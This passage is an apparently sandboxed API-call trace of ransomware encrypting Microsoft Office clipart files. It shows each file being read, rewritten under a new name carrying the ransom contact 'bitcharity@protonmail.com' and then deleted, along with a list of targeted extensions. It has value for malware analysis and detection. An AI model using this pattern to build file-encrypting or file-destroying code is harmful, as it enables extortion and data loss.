Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0152.959] GetLastError () returned 0x0 [0152.959] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0xbaaa, lpOverlapped=0x0) returned 1 [0153.003] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xbab0, lpOverlapped=0x0) returned 1 [0153.005] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.005] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.005] SetEndOfFile (hFile=0x10d8) returned 1 [0153.005] CloseHandle (hObject=0x10d8) returned 1 [0153.067] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.067] SetEndOfFile (hFile=0x10d0) returned 1 [0153.069] CloseHandle (hObject=0x10d0) returned 1 [0153.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0153.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0153.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0153.070] lstrlenW (lpString=".doc") returned 4 [0153.070] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.070] lstrlenW (lpString=".docx") returned 5 [0153.070] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.070] lstrlenW (lpString=".pdf") returned 4 [0153.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.070] lstrlenW (lpString=".xls") returned 4 [0153.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.070] lstrlenW (lpString=".xlsx") returned 5 [0153.070] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.070] lstrlenW (lpString=".ppt") returned 4 [0153.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0153.071] lstrlenW (lpString=".zip") returned 4 [0153.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.071] lstrlenW (lpString=".rar") returned 4 [0153.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.071] lstrlenW (lpString=".bz2") returned 4 [0153.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.071] lstrlenW (lpString=".7z") returned 3 [0153.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0153.071] lstrlenW (lpString=".dbf") returned 4 [0153.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0153.071] lstrlenW (lpString=".1cd") returned 4 [0153.071] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0153.071] lstrlenW (lpString=".jpg") returned 4 [0153.071] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.072] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.072] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0153.072] GetLastError () returned 0x0 [0153.072] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x1f1e, lpOverlapped=0x0) returned 1 [0153.085] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x1f20, lpOverlapped=0x0) returned 1 [0153.087] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.087] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.087] SetEndOfFile (hFile=0x10d8) returned 1 [0153.087] CloseHandle (hObject=0x10d8) returned 1 [0153.088] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.088] SetEndOfFile (hFile=0x10d0) returned 1 [0153.089] CloseHandle (hObject=0x10d0) returned 1 [0153.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.090] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0153.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0153.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0153.090] lstrlenW (lpString=".doc") returned 4 [0153.090] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.090] lstrlenW (lpString=".docx") returned 5 [0153.090] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.091] lstrlenW (lpString=".pdf") returned 4 [0153.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.091] lstrlenW (lpString=".xls") returned 4 [0153.091] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.091] lstrlenW (lpString=".xlsx") returned 5 [0153.091] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.091] lstrlenW (lpString=".ppt") returned 4 [0153.091] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0153.091] lstrlenW (lpString=".zip") returned 4 [0153.091] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.091] lstrlenW (lpString=".rar") returned 4 [0153.091] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.091] lstrlenW (lpString=".bz2") returned 4 [0153.091] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.091] lstrlenW (lpString=".7z") returned 3 [0153.091] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0153.091] lstrlenW (lpString=".dbf") returned 4 [0153.091] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0153.091] lstrlenW (lpString=".1cd") returned 4 [0153.091] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0153.091] lstrlenW (lpString=".jpg") returned 4 [0153.091] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.092] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.092] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0153.092] GetLastError () returned 0x0 [0153.092] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x4edd, lpOverlapped=0x0) returned 1 [0153.098] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x4ee0, lpOverlapped=0x0) returned 1 [0153.099] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.099] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.099] SetEndOfFile (hFile=0x10d8) returned 1 [0153.100] CloseHandle (hObject=0x10d8) returned 1 [0153.101] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.101] SetEndOfFile (hFile=0x10d0) returned 1 [0153.102] CloseHandle (hObject=0x10d0) returned 1 [0153.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.103] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0153.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0153.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0153.103] lstrlenW (lpString=".doc") returned 4 [0153.103] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0153.103] lstrlenW (lpString=".docx") returned 5 [0153.103] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0153.103] lstrlenW (lpString=".pdf") returned 4 [0153.103] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0153.103] lstrlenW (lpString=".xls") returned 4 [0153.104] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0153.104] lstrlenW (lpString=".xlsx") returned 5 [0153.104] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0153.104] lstrlenW (lpString=".ppt") returned 4 [0153.104] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0153.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0153.104] lstrlenW (lpString=".zip") returned 4 [0153.104] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0153.104] lstrlenW (lpString=".rar") returned 4 [0153.104] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0153.104] lstrlenW (lpString=".bz2") returned 4 [0153.104] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0153.104] lstrlenW (lpString=".7z") returned 3 [0153.104] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0153.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0153.104] lstrlenW (lpString=".dbf") returned 4 [0153.104] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0153.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0153.105] lstrlenW (lpString=".1cd") returned 4 [0153.105] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0153.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0153.105] lstrlenW (lpString=".jpg") returned 4 [0153.105] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0153.106] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.106] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0153.106] GetLastError () returned 0x0 [0153.106] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x4fe6, lpOverlapped=0x0) returned 1 [0153.123] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x4ff0, lpOverlapped=0x0) returned 1 [0153.125] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.125] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.125] SetEndOfFile (hFile=0x10d8) returned 1 [0153.125] CloseHandle (hObject=0x10d8) returned 1 [0153.822] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.822] SetEndOfFile (hFile=0x10d0) returned 1 [0153.824] CloseHandle (hObject=0x10d0) returned 1 [0153.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.824] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0153.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0153.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0153.825] lstrlenW (lpString=".doc") returned 4 [0153.825] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0153.825] lstrlenW (lpString=".docx") returned 5 [0153.825] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0153.825] lstrlenW (lpString=".pdf") returned 4 [0153.825] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0153.825] lstrlenW (lpString=".xls") returned 4 [0153.825] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0153.825] lstrlenW (lpString=".xlsx") returned 5 [0153.825] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0153.825] lstrlenW (lpString=".ppt") returned 4 [0153.825] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0153.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0153.825] lstrlenW (lpString=".zip") returned 4 [0153.825] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0153.825] lstrlenW (lpString=".rar") returned 4 [0153.825] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0153.825] lstrlenW (lpString=".bz2") returned 4 [0153.825] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0153.825] lstrlenW (lpString=".7z") returned 3 [0153.825] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0153.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0153.825] lstrlenW (lpString=".dbf") returned 4 [0153.826] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0153.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0153.826] lstrlenW (lpString=".1cd") returned 4 [0153.826] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0153.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0153.826] lstrlenW (lpString=".jpg") returned 4 [0153.826] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0153.828] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.828] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0153.828] GetLastError () returned 0x0 [0153.828] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x5ec, lpOverlapped=0x0) returned 1 [0153.849] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x5f0, lpOverlapped=0x0) returned 1 [0153.850] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.850] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.850] SetEndOfFile (hFile=0x10d8) returned 1 [0153.851] CloseHandle (hObject=0x10d8) returned 1 [0153.853] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.853] SetEndOfFile (hFile=0x10d0) returned 1 [0153.854] CloseHandle (hObject=0x10d0) returned 1 [0153.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0153.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0153.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0153.855] lstrlenW (lpString=".doc") returned 4 [0153.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.855] lstrlenW (lpString=".docx") returned 5 [0153.855] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.855] lstrlenW (lpString=".pdf") returned 4 [0153.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.855] lstrlenW (lpString=".xls") returned 4 [0153.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.855] lstrlenW (lpString=".xlsx") returned 5 [0153.855] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.856] lstrlenW (lpString=".ppt") returned 4 [0153.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0153.856] lstrlenW (lpString=".zip") returned 4 [0153.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.856] lstrlenW (lpString=".rar") returned 4 [0153.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.856] lstrlenW (lpString=".bz2") returned 4 [0153.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.856] lstrlenW (lpString=".7z") returned 3 [0153.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0153.856] lstrlenW (lpString=".dbf") returned 4 [0153.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0153.856] lstrlenW (lpString=".1cd") returned 4 [0153.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0153.856] lstrlenW (lpString=".jpg") returned 4 [0153.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.857] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.857] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0153.858] GetLastError () returned 0x0 [0153.858] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0xf92, lpOverlapped=0x0) returned 1 [0153.907] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xfa0, lpOverlapped=0x0) returned 1 [0153.908] ReadFile (in: hFile=0x10d0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.908] WriteFile (in: hFile=0x10d8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.909] SetEndOfFile (hFile=0x10d8) returned 1 [0153.909] CloseHandle (hObject=0x10d8) returned 1 [0153.917] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, 